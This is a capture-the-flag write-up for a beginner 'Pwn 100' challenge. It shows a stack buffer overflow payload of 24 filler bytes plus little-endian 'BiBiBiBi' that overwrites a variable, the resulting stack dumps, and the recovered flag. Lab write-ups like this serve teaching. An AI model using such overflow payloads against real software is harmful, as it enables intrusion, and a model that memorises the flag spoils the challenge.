Pwn 100

Welcome to the first pwn challenge! Can you exploit this program to get the flag? Files available here Author: @fern

After netcatting, the first thing we see is

Welcome to pwn 100! In this challenge, you will need to set changeme to 0x6942694269426942.
STACK DUMP
hackme + 0x00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
hackme + 0x10 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                       |_______________________| - changeme
changeme = 0x0000000000000000
In order to beat this challenge, you will need to overflow into changeme and set its value.
Good luck!

Since we need to set changeme to 0x6942694269426942, which is in the changeme area, our payload will look something like this

Payload = b"a" * 24 + b"iBiBiBiB"

However, since we are using Little-Endian, the payload will be

Payload = b"a" * 24 + b"BiBiBiBi"

Thus by submitting the string aaaaaaaaaaaaaaaaaaaaaaaaBiBiBiBi we can obtain the flag

Welcome to pwn 100! In this challenge, you will need to set changeme to 0x6942694269426942.
STACK DUMP
hackme + 0x00 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
hackme + 0x10 - 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                       |_______________________| - changeme
changeme = 0x0000000000000000
In order to beat this challenge, you will need to overflow into changeme and set its value.
Good luck!

Please enter data you wish to insert into hackme: aaaaaaaaaaaaaaaaaaaaaaaaBiBiBiBi

STACK DUMP
hackme + 0x00 - 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
hackme + 0x10 - 61 61 61 61 61 61 61 61 42 69 42 69 42 69 42 69
                                       |_______________________| - changeme
changeme = 0x6942694269426942
Congratulations! Here is your flag: blahaj{Sm4sH_tH3_sT4cK}

The flag being blahaj{Sm4sH_tH3_sT4cK}

Last updated